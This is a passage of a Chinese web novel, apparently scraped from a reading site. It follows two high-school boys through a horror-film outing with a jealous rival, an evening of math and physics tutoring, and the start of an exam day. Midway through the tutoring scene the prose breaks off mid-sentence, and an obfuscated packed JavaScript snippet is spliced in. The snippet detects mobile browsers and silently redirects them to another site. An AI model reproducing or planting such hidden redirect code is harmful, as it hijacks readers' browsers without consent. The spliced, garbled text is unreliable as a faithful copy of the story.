两人走出别墅时,秋阳正好,风里带着桂树的甜香。沈月落依旧走在前面,单手插在裤兜里,看似漫不经心,却总能精准避开路边的碎石和骑行的路人,悄悄为秦玉留出一条顺畅的通路。偶尔转头瞥一眼,看到秦玉正低头看着脚下的路,睫毛在阳光下投出浅浅的阴影,他心里就莫名踏实,脚步也放慢了些。 “你英语单词背得怎么样了?”秦玉突然开口,打破了沉默。 沈月落脚步一顿,耳尖更红了:“背、背完了,就是……有些还不太熟。”他其实背到凌晨,有些单词记了又忘,怕秦玉抽查,心里一直打鼓。 秦玉“嗯”了一声,语气听不出情绪:“回去抽背,错一个抄二十遍。” “二十遍?”沈月落皱起脸,像是被踩了尾巴的猫,却还是乖乖点头,“知道了,秦同学。” 他发现自己越来越听秦玉的话了。以前在学校,老师讲课他要么睡觉要么逃课,谁的话都不听,可面对秦玉的要求,哪怕是抄三十遍公式,他也心甘情愿。或许是秦玉讲题时认真的样子太让人信服,又或许是看着秦玉泛红的耳尖,他就舍不得反驳。 电影院离沈月落家不算远,步行二十分钟就到了。大厅里人不算多,国庆的热闹还没完全蔓延到这个时段。沈月落去取票机取票,秦玉站在原地等他,目光无意识地扫过四周。 突然,一个熟悉的身影撞进视线——林升。 秦玉愣了一下,上次萧星约饭,林升是跟着萧星一起来的。那时候林升坐在他对面,一直低着头,话很少,直到快结束时,突然红着脸对他说了句“我喜欢你”,吓得他一时不知如何回应,只能委婉地拒绝了。没想到会在这里遇到。 林升也看到了他,眼睛亮了一下,随即又恢复了平日里的冷淡,只是脚步却朝着他的方向走来。他比秦玉矮了大半个头,站在秦玉面前,像只竖起尖刺的小猫,明明眼神里藏着在意,表面却装作毫不在意的样子:“秦会长,真巧。” “挺巧的,”秦玉的语气保持着礼貌的疏离,“你也来看电影?” “嗯,”林升的目光越过秦玉,看到了正往这边走的沈月落,眼神瞬间多了几分警惕和敌意,却没说什么,只是转头看向秦玉,“你看什么片子?” “《深渊回响》。”秦玉刚说完,沈月落就走了过来,手里捏着两张电影票,看到林升时,眉头瞬间皱了起来,周身的气压都低了下去。 他当然记得林升。上次聚餐,这个比秦玉矮了一截的男生,红着脸对秦玉表白的样子,他至今都没忘。那时候他就觉得不爽,秦玉是他的同桌,是每天给她讲题、陪他复习的秦同学,凭什么被别人惦记?尤其是林升看秦玉的眼神,带着一种势在必得的热切,让他心里像堵了一团火。 “你怎么在这?”沈月落的声音带着点刻意的冷淡,把一张电影票塞到秦玉手里,身体微微侧着,不动声色地挡在了秦玉和林升之间,像是在划分界限。 林升仰头看着沈月落,虽然身高上不占优势,但气势却没输,依旧是那副嘴硬的样子:“电影院又不是你家开的,我不能来?” 沈月落的眼神更冷了,手指不自觉地攥紧了拳头。他能感觉到林升对秦玉的心思,这种感觉让他很不舒服,就像自己的东西被人觊觎了一样。他刚想说什么,秦玉轻轻拉了拉他的胳膊,摇了摇头:“算了,我们该检票了。” 指尖传来的温热触感让沈月落的火气莫名消了点。他瞥了眼秦玉拉着自己胳膊的手,心里软了软,没再说话,只是反手轻轻握住秦玉的手腕,拉着他往检票口走。他的力道不大,却带着一种不容拒绝的意味,脚步迈得很大,像是在逃避什么,又像是在宣示主权。 林升看着他们相握的手,眼底的失落一闪而过,随即又咬了咬唇,跟了上去。他刚才在取票机看到沈月落的取票信息了,和他是同一场次、同一排,既然如此,他没理由不跟着。 检票员核对完票根,秦玉和沈月落走进放映厅。沈月落特意选了最后一排的角落位置,安静,也不容易被打扰。他让秦玉坐在靠里的位置,自己坐在外面,像是在护着他,又像是在防备着什么。 刚坐下没多久,林升就走了过来,手里拿着一张票,对着座位号看了看,居然就坐在秦玉的另一边。 沈月落的脸色瞬间沉了下来,眼神里的寒意几乎要溢出来:“你故意的?” 林升装作没听见,径直坐下,身体微微往秦玉这边倾了倾,语气平淡:“巧合而已,这是我的座位。” 秦玉夹在两人中间,只觉得气氛尴尬到了极点。沈月落周身的低气压,林升刻意的靠近,让他坐立难安,脸颊也泛起了淡淡的红晕。他想开口说点什么,却又不知道该说什么,只能假装整理衣服,悄悄往沈月落那边挪了挪。 沈月落察觉到他的小动作,心里的不爽少了点,看向秦玉的眼神柔和了些。他伸手把两人之间的扶手抬了起来,让秦玉能更靠近自己,然后故意提高了音量,对着秦玉说:“秦同学,等会儿电影开始了,要是害怕就说一声,我……我给你挡着点。” 他本来想说“我护着你”,但话到嘴边又咽了回去,耳尖红了红,觉得有些太刻意了。 秦玉“嗯”了一声,脸颊更烫了。他其实并不怕恐怖片,以前和同学一起看,都是他安慰别人,但沈月落的话还是让他心里泛起了涟漪。 林升在旁边听着,心里很不是滋味,却没表现出来,只是拿出手机,默默调暗了亮度。他从南清十四中特意赶过来,就是因为听说秦玉国庆会和沈月落出来,他不甘心,哪怕只能坐在秦玉旁边,他也想多靠近一点。 电影很快开始了,放映厅里的灯光暗了下来,只剩下屏幕上的光影在闪烁。《深渊回响》确实是部实打实的恐怖片,开篇就是阴暗的废弃医院,斑驳的墙壁上爬着诡异的影子,诡异的背景音乐在空旷的放映厅里回荡,偶尔还夹杂着尖锐的音效,让不少观众都发出了小声的惊呼。 秦玉看得很专注,眉头微蹙,眼神里带着认真,似乎在分析剧情的逻辑。他的睫毛很长,屏幕的光落在上面,泛着淡淡的光泽,侧脸的轮廓在黑暗中显得格外清晰。 沈月落没怎么看电影,大部分时间都在偷偷看秦玉。黑暗中,秦玉泛红的脸颊,微微抿起的嘴唇,还有因为专注而微微睁大的眼睛,都让他心跳加速,耳尖也悄悄红了。偶尔电影里出现突然的惊吓镜头,他会下意识地看向秦玉,看到他依旧镇定的样子,心里又觉得有点佩服,又有点失落——他还想借着秦玉害怕的机会,和他靠得更近一点呢。 而另一边的林升,情况就完全不同了。他其实胆子很小,平时根本不看恐怖片,这次纯属是为了秦玉才硬着头皮买了同场次的票。电影里的恐怖镜头一个接一个,尤其是当屏幕上突然出现面目狰狞的鬼怪时,他吓得浑身发抖,却又不想在秦玉面前示弱,只能死死咬着唇,身体控制不住地往秦玉身边蹭。 一开始只是轻微的触碰,秦玉没在意,以为是不小心碰到的。但随着剧情越来越恐怖,林升蹭得越来越频繁,肩膀几乎要靠在他的胳膊上,甚至有了要往他怀里缩的趋势。 秦玉皱了皱眉,身体下意识地往沈月落那边靠得更紧了,想避开林升的触碰。他不喜欢和别人有过于亲密的肢体接触,尤其是在这种情况下,林升的靠近让他觉得很不自在。 沈月落早就注意到林升的小动作了,心里的火气瞬间就上来了。他看着林升故意往秦玉身上蹭,气得牙痒痒,要不是怕影响到其他观众,他早就直接把林升拎出去了。 他伸出手,不动声色地搭在秦玉的椅背上,像是在保护他,又像是在宣告主权,然后用只有两人能听到的声音,对着秦玉说:“秦同学,要不要换个位置?我坐中间。” 秦玉正觉得尴尬,闻言立刻点了点头:“好。” 两人起身,小心翼翼地换了位置。沈月落坐在了秦玉和林升中间,像一堵墙,彻底隔开了两人。他坐下后,还特意往林升那边靠了靠,压缩了林升的空间,眼神冷冷地瞥了他一眼,像是在警告:适可而止。 林升被他看得心里一慌,却依旧嘴硬,故意说道:“这部电影也太恐怖了吧,我有点害怕。”说着,还想往秦玉的方向看,却被沈月落死死挡住了视线。 沈月落冷笑一声,语气带着嘲讽:“害怕就别来看,没人逼你。” “我乐意,”林升梗着脖子反驳,心里却委屈得不行。他只是想靠近秦玉一点,怎么就这么难? 秦玉夹在两人中间,只觉得头都大了。他能感觉到沈月落身上的怒气,也能察觉到林升的委屈,却不知道该怎么调解,只能假装认真看电影,尽量忽略身边剑拔弩张的气氛。 电影继续播放着,剧情越来越紧张。废弃医院的走廊里,脚步声空旷而清晰,镜头突然一转,一个披头散发的女人出现在屏幕中央,发出刺耳的尖叫。林升吓得“啊”了一声,身体控制不住地往沈月落那边靠——他这边已经没有多余的空间了,只能往中间蹭。 沈月落感觉到身边的人在往自己身上靠,眉头皱得更紧了,身体下意识地往秦玉那边挪,几乎要和秦玉贴在一起。温热的身体靠得极近,秦玉能清晰地感受到沈月落的体温,还有他身上淡淡的雪松味,脸颊瞬间红透了,身体也变得有些僵硬。 沈月落也察觉到了两人之间的距离,耳尖红得发烫,却没再挪开。他甚至有点庆幸林升的靠近,让他有了和秦玉靠得更近的理由。秦玉的肩膀贴着他的肩膀,手臂偶尔会碰到一起,那种温热的触感让他心跳快得像是要跳出来,连带着呼吸都有些急促。 “秦同学,你还好吗?”沈月落的声音压得很低,带着点不易察觉的紧张,“要是害怕,就闭上眼睛,靠在我肩上也行。” 秦玉的脸颊更烫了,摇了摇头,声音细若蚊蚋:“我没事。” 他能感觉到沈月落的呼吸拂在自己的颈侧,带着温热的气息,让他的心跳更快了。他不敢转头,只能死死盯着屏幕,眼神却有些涣散,根本不知道电影里演了什么。他的注意力全在身边的人身上,沈月落的每一次呼吸,每一个细微的动作,都清晰地传入他的感官。 林升看着两人靠得那么近,心里像是被什么东西堵住了,又酸又涩。他知道自己今天就算再怎么努力,也插不进他们两人之间。沈月落看秦玉的眼神,那种小心翼翼的珍视,那种不容他人侵犯的占有欲,他看得清清楚楚。尤其是刚才沈月落挡在他和秦玉之间的样子,像极了护食的猛兽,让他心里有些发怵。 电影快结束的时候,林升实在忍不住了,借口去洗手间,提前离开了放映厅。他走的时候,看了秦玉一眼,眼神里带着淡淡的失落,却依旧嘴硬地没说一句话。他知道,自己和秦玉之间,隔着的不仅仅是一所学校的距离,还有一个沈月落。 林升走后,放映厅里的气氛终于缓和了下来。沈月落心里的火气也消了,只是依旧靠秦玉很近,能清晰地闻到他身上淡淡的皂角味,混合着阳光的气息,让他觉得很安心。 “他走了。”沈月落的声音很低,带着点不易察觉的轻松。 “嗯,”秦玉点了点头,身体稍微放松了些,但脸颊依旧泛着红晕,“电影快结束了。” 两人没再说话,安静地看完了剩下的剧情。电影结尾是个开放式结局,主角站在医院的天台,身后是无尽的黑暗,留给观众无限的遐想。秦玉看完后,皱着眉思考了一会儿,转头想和沈月落讨论,却没想到刚好对上他的目光。 黑暗中,沈月落的眼神很亮,带着点专注,还有些说不清道不明的情绪。两人的距离很近,鼻尖几乎要碰到一起,秦玉能清晰地看到他长长的睫毛,还有耳尖淡淡的红色。 秦玉的心跳瞬间漏了一拍,脸颊瞬间红透了,连忙转过头,假装看向屏幕,声音有些不自然:“结局有点意思,留下了很多悬念。” 沈月落也察觉到了自己的失态,耳尖红得更厉害了,连忙收回目光,假装整理衣服,声音有些沙哑:“嗯,是挺有意思的。尤其是那个医生,没想到他才是幕后黑手。” 他其实根本没怎么看剧情,脑子里全是刚才和秦玉靠得很近的画面,还有秦玉泛红的脸颊。他觉得自己像是着了魔,满脑子都是秦玉的样子。 电影结束后,灯光亮起,两人起身走出放映厅。大厅里的人比刚才多了些,热闹了不少。沈月落走在前面,依旧像往常一样,悄悄为秦玉留出顺畅的通路,偶尔转头瞥一眼,确认他跟上了。 “现在去哪?”秦玉的声音打破了沉默,脸颊的红晕还没完全褪去。 “回家吧,”沈月落转头看向他,眼神柔和了些,“外面人太多了,回去还能再复习一会儿,或者……你想做点别的?” 秦玉想了想,摇了摇头:“回去吧,家里安静。”他其实也想多和沈月落待一会儿,但刚才林升的出现让他觉得有些不自在,还是回家复习更踏实。 两人并肩走出电影院,秋阳正好,透过树叶的缝隙洒下来,在地上映出斑驳的光影。路上的行人来来往往,欢声笑语不断,国庆的氛围愈发浓厚。 沈月落走在秦玉身边,脚步放慢了些,和他保持着一致的节奏。他偶尔会转头看秦玉,看着他被阳光晒得微微泛红的脸颊,看着他认真走路的样子,心里暖暖的,耳尖也一直保持着淡淡的红色。他想开口说点什么,打破沉默,却又不知道该说什么,只能任由这种温馨的氛围包裹着两人。 秦玉也偶尔会转头看他,看到他嘴角不自觉扬起的弧度,看到他耳尖的红色,心里莫名觉得有些甜,脸颊也会泛起淡淡的红晕。他发现,和沈月落待在一起,哪怕不说话,也不会觉得尴尬,反而有一种无需言说的默契。 路过一家便利店时,沈月落突然停下脚步:“秦同学,等一下。” 秦玉疑惑地看着他,只见沈月落快步走进便利店,没多久就拿着两瓶冰镇可乐走了出来,递了一瓶给秦玉:“天气有点热,喝点水吧。” 秦玉接过可乐,指尖碰到了冰凉的瓶身,心里却暖暖的:“谢谢。” 他拧开瓶盖,喝了一口,冰凉的液体顺着喉咙滑下去,驱散了刚才看电影时的些许燥热。沈月落也喝着可乐,目光时不时地落在秦玉身上,看着他喝水时微微滚动的喉结,心跳又快了些。 回到沈月落家时,已经是下午四点多了。沈月落把两人的书包放在玄关的柜子上,弯腰从鞋柜里拿出那双熟悉的白色拖鞋,摆到秦玉面前——还是秦玉一直穿的那双,被仔细收在最显眼的位置,连鞋尖都朝着进门的方向,方便他直接穿上。 “先去楼上吧,”沈月落的声音在空旷的客厅里回荡,带着点不易察觉的紧张,“书房里挺安静的,或者你想先休息一会儿?” “去书房吧,”秦玉换好拖鞋,抬头看向他,脸颊依旧带着淡淡的红晕,“我刚才想到了电影里的一个逻辑漏洞,想和你聊聊,顺便……再给你讲几道数学题。” 沈月落的眼睛亮了一下,连忙点头:“好,我都听你的,秦同学。”只要能和秦玉待在一起,做什么他都愿意。 两人走上二楼,书房里的阳光依旧充足,透过巨大的落地窗洒在木质地板上,映出斑驳的光影。沈月落的书桌收拾得整整齐齐,左边是秦玉给他整理的知识点笔记,右边是他的错题本,中间依旧留出了宽敞的位置,显然是给秦玉准备的。 秦玉走到书桌旁坐下,翻开自己的笔记本,指尖划过纸张,却没立刻开始讲题,而是转头看向沈月落:“刚才电影的结局,你觉得怎么样?那个医生的动机,你觉得合理吗?” “挺让人意外的,”沈月落坐在他身边,身体微微侧着,面对着他,“动机应该是为了给他女儿报仇吧?不过我觉得有点牵强,好像是为了反转而反转。” 他其实没怎么看懂,但为了能和秦玉多聊一会儿,还是努力回忆着剧情,说出了自己的看法。 “嗯,”秦玉点了点头,眼神里带着认真,“我也觉得。医生的女儿去世的原因交代得不够清楚,导致他后面的极端行为缺乏足够的支撑。而且他的作案手法虽然隐蔽,但有很多细节都经不起推敲,比如他处理证据的方式,太草率了……” 他开始认真地分析起电影的剧情,语速不快,条理清晰。阳光落在他的脸上,泛着淡淡的光泽,认真的样子格外好看。 沈月落没怎么听进去他说的内容,大部分时间都在看着他。看着他说话时微微张合的嘴唇,看着他眼里闪烁的光芒,看着他因为认真而微微蹙起的眉头,心里的悸动越来越强烈,耳尖红得发烫。他觉得,秦玉认真的时候,真的太有魅力了,让他移不开目光。 秦玉分析完,转头看向他,却发现他根本没在听,而是一直盯着自己看,脸颊瞬间红了:“你看什么?” “没、没什么,”沈月落连忙收回目光,耳尖红得更厉害了,拿起笔在草稿纸上胡乱划了两下,掩饰着慌乱,“我在想你说的漏洞,确实挺明显的。秦同学,你观察得真仔细。” 秦玉无奈地叹了口气,知道他肯定没认真听,却也没拆穿,只是拿起他的数学错题本:“好了,别想电影了,先讲题。这道二次函数的综合题,你上次还是错了,我们再重新分析一遍。” “好,秦同学。”沈月落立刻收敛心神,拿起笔,认真地看向错题本。虽然心里还在想着刚才看秦玉的画面,但在学习上,他却不敢有丝毫懈怠——他想变得更好,想能配得上秦玉,想能一直和他这样待在一起。 秦玉拿起笔,在草稿纸上一步步演算,声音清冽:“首先,你要先确定这道题的考点,二次函数的图像性质、顶点坐标、对称轴,还有和一元二次方程的关系。你上次错在这里,把顶点坐标的h值符号弄反了,导致后面的计算全错了。” 他的指尖轻轻点在草稿纸上,温热的触感透过纸张传递过来,沈月落的身体微微一僵,耳尖瞬间红得更厉害了,却依旧认真地听着,不敢再走神。 “记住,顶点式y=a(x-h)2+k中,h是顶点的横坐标,对称轴是x=h,而不是-x=h,”秦玉的声音放得很低,带着点耐心,“你再把这个公式默写一遍,加深印象。” “好。”沈月落拿起笔,认真地在草稿纸上默写公式,一笔一划,格外认真。他的字依旧带着点张扬的潦草,却比之前工整了不少——这都是秦玉教他的,让他写字慢一点,一笔一划写清楚,这样不容易出错。 默写完成,秦玉检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163968|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查了一遍,确认没错,才继续讲题:“现在,我们把题目中的已知条件代入公式,先求出a的值,再求对称轴和顶点坐标,最后求与x轴的交点坐标……” 沈月落认真地听着,时不时点头,遇到不懂的地方,会立刻举手提问:“秦同学,这里为什么要先求a的值?不能直接求交点坐标吗?” “因为交点坐标是当y=0时x的值,而a的值不确定,函数的开口方向和大小就不确定,交点坐标也会不一样,”秦玉耐心地解释着,拿起笔在草稿纸上画了个简单的示意图,“你看,a大于0时,开口向上;a小于0时,开口向下,交点坐标也会随之变化。” “哦,原来是这样,”沈月落恍然大悟,眼神里满是崇拜,“秦同学,你讲得真清楚,我以前都没明白。” 秦玉的脸颊微微泛红,有些不好意思地低下头:“这些都是基础,只要你认真听,肯定能明白。” 沈月落看着他泛红的侧脸,心里暖暖的,更加坚定了要好好学习的决心。他拿起笔,按照秦玉教的方法,重新计算这道题,每一步都格外认真,反复检查,生怕再出错。 秦玉坐在一旁,安静地看着他,心里也泛起了淡淡的暖意。他能感觉到沈月落的进步,不仅是成绩上的,还有态度上的。从一开始的抵触学习,到现在的主动提问、认真思考,这样的改变,让他觉得很欣慰。 他看着沈月落咬着笔尖思考的样子,看着他眉头紧锁的样子,看着他算出正确答案后眼里闪烁的光芒,心里莫名觉得,这样的时光真好。没有喧嚣,没有打扰,只有他和沈月落,一起学习,一起进步,这种无需言说的默契和熟稔,让他觉得很安心。 不知不觉,夕阳西下,金色的余晖透过落地窗洒进书房,把整个房间染成了暖金色。沈月落终于把这道综合题解了出来,看着草稿纸上正确的答案,他兴奋地抬起头,看向秦玉,眼里满是笑意:“秦同学,我做对了!” “嗯,”秦玉的嘴角也忍不住微微上扬,脸颊带着淡淡的红晕,“做得很好,这道题的思路记住了,下次再遇到类似的,不许再错了。” “记住了!”沈月落用力点头,心里甜滋滋的。他发现,只要是秦玉教他的,他都能记得很牢,好像秦玉的声音有一种魔力,能让他快速记住知识点。 两人休息了一会儿,沈月落起身给秦玉倒了杯水:“秦同学,喝点水吧,讲了一下午题,肯定渴了。” “谢谢。”秦玉接过水杯,指尖碰到了沈月落的手指,温热的触感传来,两人都下意识地缩回了手,耳尖同时红了。 书房里的气氛瞬间变得有些暧昧,两人都没说话,只是低头看着自己的手,脸颊泛着淡淡的红晕。窗外的夕阳越来越沉,金色的余晖渐渐褪去,取而代之的是淡淡的暮色。 “天色不早了,”秦玉率先打破了沉默,站起身,“我该回去了。” 沈月落的心里瞬间涌上一股失落,下意识地说道:“再待一会儿吧,秦同学。客房的空调……好像修好了,你今晚可以住在这里,明天我们还能一起复习。” 他说完,就后悔了——他又用了这个借口,秦玉会不会觉得他很刻意? 秦玉的脸颊瞬间红了,犹豫了一下。他其实也不想回去,和沈月落待在一起的时光,让他觉得很安心,很舒服。但他又觉得,总是住在沈月落家,不太好。 “我……”秦玉刚想说什么,沈月落又开口了,语气带着点委屈和期待:“秦同学,我还有几道物理题不会,你再教教我吧。而且,晚上我一个人在家,有点无聊。” 秦玉看着他泛红的耳尖和带着期待的眼神,心里的犹豫渐渐消散。他其实也想多待一会儿,于是点了点头:“好吧,那我再待一会儿。” 沈月落的眼睛瞬间亮了起来,嘴角忍不住上扬,耳尖红得更厉害了:“太好了,秦同学!我这就把物理题拿过来。” 他快步跑到自己的书桌前,拿起物理练习册,翻到自己不会的题目,然后跑回秦玉身边坐下,把练习册推到他面前:“就是这几道题,关于电路的,我不太懂。” 秦玉拿起练习册,认真地看了起来。电路部分确实是物理的难点,沈月落基础差,不懂也正常。他拿起笔,在草稿纸上画了个电路图,开始耐心地讲解:“你看,这道题是串联电路,电流只有一条路径,所以各个用电器的电流相等。电阻的话,串联电路的总电阻等于各分电阻之和……” 沈月落认真地听着,时不时点头,遇到不懂的地方,会立刻提问。秦玉也很有耐心,一遍遍地讲解,直到他听懂为止。 不知不觉,天色完全暗了下来。沈月落起身打开了书房的灯,柔和的灯光照亮了整个房间,也照亮了两人的身影。秦玉看着沈月落认真学习的样子,心里暖暖的,脸颊也一直泛着淡淡的红晕。 “秦同学,”沈月落突然开口,声音低了些,“谢谢你。” 秦玉愣了一下,抬头看向他:“谢我什么?” “谢谢你愿意教我学习,”沈月落的眼神很认真,耳尖红了红,“以前从来没有人这么有耐心地教过我,也没有人愿意花这么多时间陪我复习。秦同学,有你在,我觉得学习也不是那么难了。” 秦玉的脸颊瞬间红了,有些不好意思地低下头:“不用谢,我们是同桌,互相帮助是应该的。” 他嘴上这么说,心里却莫名觉得暖暖的。他能感觉到沈月落的真诚,也知道他这几天确实很努力。看着沈月落的进步,他觉得自己的付出都是值得的。 “秦同学,”沈月落又说道,“等我月考及格了,我请你吃饭吧?就去你上次说的那家日料店。” 秦玉抬起头,眼里带着惊讶:“你怎么知道我喜欢那家日料店?”他只是随口跟萧星提过一次,没想到沈月落居然记住了。 沈月落的耳尖更红了,挠了挠头,有些不自然地说道:“上次萧星来家里,你们聊天的时候,我听到的。我觉得你应该会喜欢,所以就记下来了。” 秦玉的心里微微一暖,脸颊的红晕更浓了:“好啊,等你及格了,我请你。” “不行,应该我请你,”沈月落坚持道,“是你帮我复习的,我应该谢谢你。” 秦玉看着他认真的样子,忍不住笑了:“好,那你请我。” 沈月落的眼睛瞬间亮了起来,嘴角扬起大大的笑容,耳尖的红色却没褪去。他觉得,为了这顿饭,他也要努力及格。 又复习了一个多小时,秦玉打了个哈欠,揉了揉有些酸涩的眼睛,脸颊的红晕也渐渐褪去,只剩下淡淡的疲惫:“今天就到这儿吧,太晚了,我该回去了。” 沈月落的心里有些失落,但也知道不能再留他了,只能点了点头:“好,我送你下去。” 两人下楼,沈月落帮秦玉拿起书包,递到他手里:“路上小心点,到家给我发个消息。” “嗯,”秦玉接过书包,抬头看向他,脸颊依旧带着淡淡的红晕,“你也早点休息,别熬夜刷题,注意身体。” “知道了,秦同学。”沈月落的心里暖暖的,耳尖红了红,看着秦玉走出别墅,直到他的身影消失在路口,才转身回到屋里。 秦玉走在回家的路上,夜色渐浓,路边的路灯亮起,昏黄的灯光洒在小路上。他的脸颊依旧泛着淡淡的红晕,心里想着下午和沈月落一起看电影、一起讲题的画面,嘴角不自觉地扬起了弧度。 他不知道这种感觉是什么,只觉得和沈月落待在一起很开心,很安心,像是找到了失散多年的亲人,又像是有了可以依靠的伙伴。他只当这是兄弟情,是同桌之间的默契和熟稔,却没发现,自己的心跳,早已在不知不觉中,为沈月落加速。 而沈月落回到别墅,坐在书房里,看着秦玉坐过的位置,看着他留下的笔记本,心里的悸动越来越强烈。他拿起秦玉的笔记本,指尖轻轻划过上面工整清秀的字迹,耳尖红得发烫。 他知道自己对秦玉的感情,早已超出了兄弟情和同桌情,但他不敢说出来。他怕说了,秦玉会疏远他,会不再理他,会再也不能像现在这样待在一起。 他只能把这份感情藏在心底,努力学习,努力变得更好,希望有一天,他能配得上秦玉,能光明正大地告诉秦玉,他喜欢他。 窗外的夜色越来越浓,书房里的灯光柔和,映照着沈月落泛红的脸颊和带着期待的眼神。国庆的这一天,因为林升的出现,多了些小插曲,却也让他更加确定了自己对秦玉的心意。 他拿出手机,给秦玉发了一条消息:【秦同学,到家了吗?】 很快,秦玉的消息就回了过来:【到了,你也早点休息。】 沈月落看着手机屏幕上的消息,嘴角忍不住上扬,耳尖红得发烫。他回复道:【好,秦同学晚安。】 放下手机,沈月落拿起秦玉给他整理的笔记,认真地看了起来。灯光下,他的身影显得格外专注,眼里闪烁着坚定的光芒——为了秦玉,他一定要变得更好。 而秦玉放下手机,躺在自己的床上,脸颊依旧泛着淡淡的红晕。他想起沈月落看他的眼神,想起他耳尖的红色,想起两人靠得很近时的温热触感,心跳莫名加快了些。 他不知道,这份看似是兄弟情的情感,早已在不知不觉中,悄然变质。而国庆的这一天,只是他们漫长故事里的一个小小插曲,更多的温暖和悸动,还在未来的日子里,等着他们去发现。 书房里的灯光亮了很久,直到深夜才渐渐熄灭。沈月落躺在床上,脑海里全是秦玉的样子,嘴角带着浅浅的笑容,进入了梦乡。他梦见自己月考及格了,带着秦玉去了那家日料店,秦玉笑得很开心,脸颊泛着淡淡的红晕,和他靠得很近很近…… 29. 考试结束 国庆收假后的清晨,天刚破晓,沈月落家别墅的书房就亮着一盏暖黄的灯。秦玉坐在书桌左侧,指尖捏着黑色水笔,正在最后过一遍数学公式;沈月落坐在右边,校服袖口挽到小臂,低头盯着英语作文模板,嘴里小声默念着句型,眉峰不自觉地蹙着,像是在跟什么较劲。空气里只有笔尖划过纸张的沙沙声,还有窗外偶尔传来的鸟鸣,安静得能听到彼此的呼吸。 “还有二十分钟,该走了。”秦玉合上书,声音清冽,带着一丝不易察觉的紧绷。他昨晚没睡好,梦里全是沈月落对着试卷皱眉的样子,醒来时额角还沾着薄汗。这几天住在沈月落家,两人挤在一张书桌前复习到深夜,秦玉看着他从连基础题型都摸不着头脑,到慢慢能写出完整解题步骤,心里既欣慰,又忍不住替他紧张——毕竟沈月落的底子太差,这次分班考的难度可不低。 沈月落“嗯”了一声,把作文模板塞进书包,指尖却在拉链上顿了顿。他抬头看向秦玉,眼神里藏着几分忐忑,还有点说不清的依赖:“秦同学,等会儿考语文,古诗文默写……我应该不会忘吧?” “你昨晚默写了三遍都没出错。”秦玉看着他,语气平静,却刻意放缓了语速,“别慌,按平时的节奏来就行。”他说着,从笔袋里拿出一块橡皮,递了过去:“这个给你,你上次说你那块擦不干净。” 沈月落接过橡皮,指尖碰到秦玉的指腹,微凉的触感像电流似的窜了一下,他连忙收回手,脸颊微微发烫,低头讷讷道:“谢谢。”其实他的橡皮好好的,但他没说破,只是小心翼翼地把那块新橡皮放进笔袋最里层。 两人简单吃了点早饭,就朝着学校走去。清晨的风带着凉意,吹得校服衣角轻轻晃动。路上没什么人,只有两人的脚步声交替着,偶尔传来沈月落小声问的知识点,秦玉都一一耐心回应。走到教学楼门口,沈月落停下脚步,指了指二楼和四楼的方向:“那我去四楼了,秦同学。” “嗯。”秦玉点头,目光落在他身上,“考试的时候别着急,不会的题先空着,先做有把握的。” “我知道了。”沈月落咧嘴笑了笑,想让自己看起来轻松点,可眼底的紧张藏不住。他转身往四楼走,脚步比平时快了些,走到楼梯拐角时,还忍不住回头看了一眼,正好对上秦玉的目光,两人都愣了一下,沈月落赶紧转过头,快步消失在楼梯间。 秦玉站在原地,直到看不到沈月落的身影,才转身走进二楼的203考场。考场里已经来了不少人,每张桌子上都贴着座位号。他找到第三排靠窗的位置,放下书包,把准考证和文具一一摆好。窗外的阳光正好落在桌面上,暖洋洋的,可秦玉的心却沉得厉害,总忍不住想:沈月落找到401考场了吗?他会不会因为紧张而看错题目? 监考老师拿着试卷走进来,教室里瞬间安静下来。“请同学们把无关物品放到讲台旁,手机关机,不准随身携带。”老师的声音严肃,秦玉按照要求把书包放好,坐回座位时,指尖不小心碰到了窗沿,冰凉的触感让他稍微冷静了些。 试卷发下来,秦玉先快速浏览了一遍。语文试卷的难度和平时模拟考差不多,古诗文默写是这几天重点复习的内容,现代文阅读的题型也练过不少,作文题目是“微光”,不算偏题。他深吸一口气,拿起笔开始答题,笔尖划过纸张的沙沙声,渐渐淹没了心里的杂念。 可写到古诗文默写时,他还是顿了一下。“春蚕到死丝方尽,蜡炬成灰泪始干”,这句诗沈月落当初背了好久,总把“蜡炬”写成“蜡烛”,秦玉陪着他写了十几遍,才终于让他记牢。此刻写下这两句诗,秦玉的脑海里不由自主地浮现出沈月落趴在书桌上,一笔一划认真书写的样子,嘴角忍不住微微上扬。 但很快,他就强迫自己收回思绪。现在是考试,不能分心。他加快了答题速度,阅读题仔细勾画关键词,作文也很快确定了思路,写的是成长路上那些默默给予帮助的人,字里行间透着真诚。 与此同时,四楼的401考场里,沈月落正对着试卷皱紧了眉头。他坐在最后一排靠门的位置,身后就是走廊,偶尔能听到外面传来的脚步声,让他有些分心。拿到语文试卷的那一刻,他的心跳快得像是要跳出胸腔,手心的汗把试卷边缘都浸湿了一点。 他先翻到古诗文默写题,看到题目时,心里瞬间松了口气。都是秦玉逼着他背了一遍又一遍的句子,他下意识地在心里默念,确认没有记错,才一笔一划地写在答题卡上。写的时候,他仿佛能看到秦玉坐在身边,拿着课本指着诗句,耐心地教他断句、理解意思的样子,心里莫名安定了不少。 可到了现代文阅读,沈月落还是卡壳了。第二题问的是文章的表达手法,他盯着题目看了半天,脑子里一片空白。这几天秦玉确实给他讲过类似的题型,说要抓住关键词句,结合上下文分析,可真到了考试的时候,他还是有些不知所措。 沈月落的手指紧紧攥着笔,指节都泛了白。他抬头看了一眼监考老师,老师正站在讲台前低头看着什么,没有注意到他。他深吸一口气,按照秦玉教他的方法,重新读了一遍文章,在草稿纸上写下关键词:“比喻”“拟人”“借景抒情”。慢慢的,思路清晰起来,他开始在答题卡上写下答案,虽然字迹算不上工整,但每一句话都经过了认真思考。 